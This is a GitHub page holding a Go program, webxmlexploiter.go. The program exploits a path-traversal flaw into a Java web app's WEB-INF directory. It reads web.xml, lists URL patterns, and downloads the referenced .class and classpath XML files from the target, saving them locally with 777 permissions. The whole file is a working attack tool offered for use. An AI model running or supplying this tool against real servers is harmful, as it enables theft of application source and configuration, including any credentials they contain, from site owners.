-
Notifications
You must be signed in to change notification settings - Fork 1
/
webxmlexploiter.go
140 lines (114 loc) · 3.77 KB
/
webxmlexploiter.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main
import (
"flag"
"fmt"
"github.com/antchfx/xmlquery"
"io/ioutil"
"net/http"
"os"
"strings"
)
const webXmlversion = "0.1"
func main() {
var url string
flag.StringVar(&url, "u", "", "Vulnerable URL without the web.xml at end. Ex:https://vulnapp/somedir/anotherdir/../../../WEB-INF/")
version := flag.Bool("v", false, "Prints the current version and exit.")
flag.Parse()
if os.Args == nil || len(os.Args) <= 1 {
fmt.Println("You must provide at least one argument and value")
fmt.Println("Version:", webXmlversion)
fmt.Println("Under the SushiWare license.")
os.Exit(0)
}
if *version {
fmt.Println("Version:", webXmlversion)
fmt.Println("Under the SushiWare license.")
os.Exit(0)
}
parsexml(url)
getUrlpattern(url)
getClasspath(url)
}
func parsexml(url string) {
fmt.Println("Extracting possible class files from web.xml")
webxml, _ := xmlquery.LoadURL(url + "web.xml")
for _, n := range xmlquery.Find(webxml, "//filter/filter-class") {
replaceDot := strings.Replace(n.InnerText(),".","/",-1) + ".class"
downloadClass(url,replaceDot)
}
}
func getUrlpattern(url string) {
rootUrl := strings.Split(url,"/")
webxml, _ := xmlquery.LoadURL(url + "web.xml")
fmt.Println("\nExtracted URL's:")
for _, n := range xmlquery.Find(webxml, "//url-pattern") {
if n.InnerText() == "/" || n.InnerText() == "/*"{
} else {
fmt.Printf("%s\n", rootUrl[0]+"//"+rootUrl[2] + strings.Replace(n.InnerText(),"*","",-1 ))
}
}
}
func getClasspath(url string,){
webxml, _ := xmlquery.LoadURL(url + "web.xml")
fmt.Println("\nExtracted XML files:")
for _, n := range xmlquery.Find(webxml, "//param-value") {
if strings.Contains(n.InnerText(),"classpath:") {
classParser := strings.Split(strings.TrimSpace(n.InnerText()),"classpath:")
for a :=0;a < len(classParser);a++ {
urlxmlAux := url + "classes"+ classParser[a]
fmt.Printf("%s\n", urlxmlAux)
downloadXml(urlxmlAux)
}
}
if strings.Contains(n.InnerText(),"classpath:") && strings.Contains(n.InnerText(),",") {
classParser := strings.Split(n.InnerText(),",")
for a :=0;a < len(classParser);a++ {
//fmt.Printf("%s\n", url + "classes"+ strings.Replace(classParser[a],",","",-1)) //Debug
urlxmlAux := url + "classes"+ strings.TrimSpace(strings.Replace(classParser[a],"classpath:","", -1))
fmt.Printf("%s\n", urlxmlAux)
downloadXml(urlxmlAux)
}
}
}
}
func downloadClass(url string, replaceDot string) {
dirList := "classes,lib" //class files default dirs. Use comma as the separator to add more directories
dir := strings.Split(dirList,",")
for i :=0;i < len(dir);i++ {
resp, err := http.Get(url + dir[i]+ "/" + replaceDot)
if err != nil {
fmt.Printf("", " Unexpected Error")
} else if resp.StatusCode == 200 {
fmt.Println("File found and downloaded:",url + dir[i]+ "/" + replaceDot)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
stringBody := string(body)
// fmt.Print(stringBody) Debug
splitFileName := strings.Split(replaceDot, "/")
getClass := len(splitFileName)
data := []byte(stringBody)
ioutil.WriteFile(splitFileName[getClass-1], data, 777)
} else {
// fmt.Println("File Not Found:", replaceDot) //Debug
}
}
}
func downloadXml(urlxml string) {
strings.TrimSpace(urlxml)
xmlNamesplit := strings.Split(urlxml, "/")
xmlName := len(xmlNamesplit)
resp, err := http.Get(urlxml)
if err != nil {
fmt.Printf("", " Unexpected XML Error")
} else if resp.StatusCode == 200 {
fmt.Println("File found and downloaded:", urlxml)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
stringBody := string(body)
// fmt.Print(stringBody) Debug
data := []byte(stringBody)
ioutil.WriteFile(xmlNamesplit[xmlName-1], data, 777)
} else {
// fmt.Println("File Not Found:", replaceDot) //Debug
}
}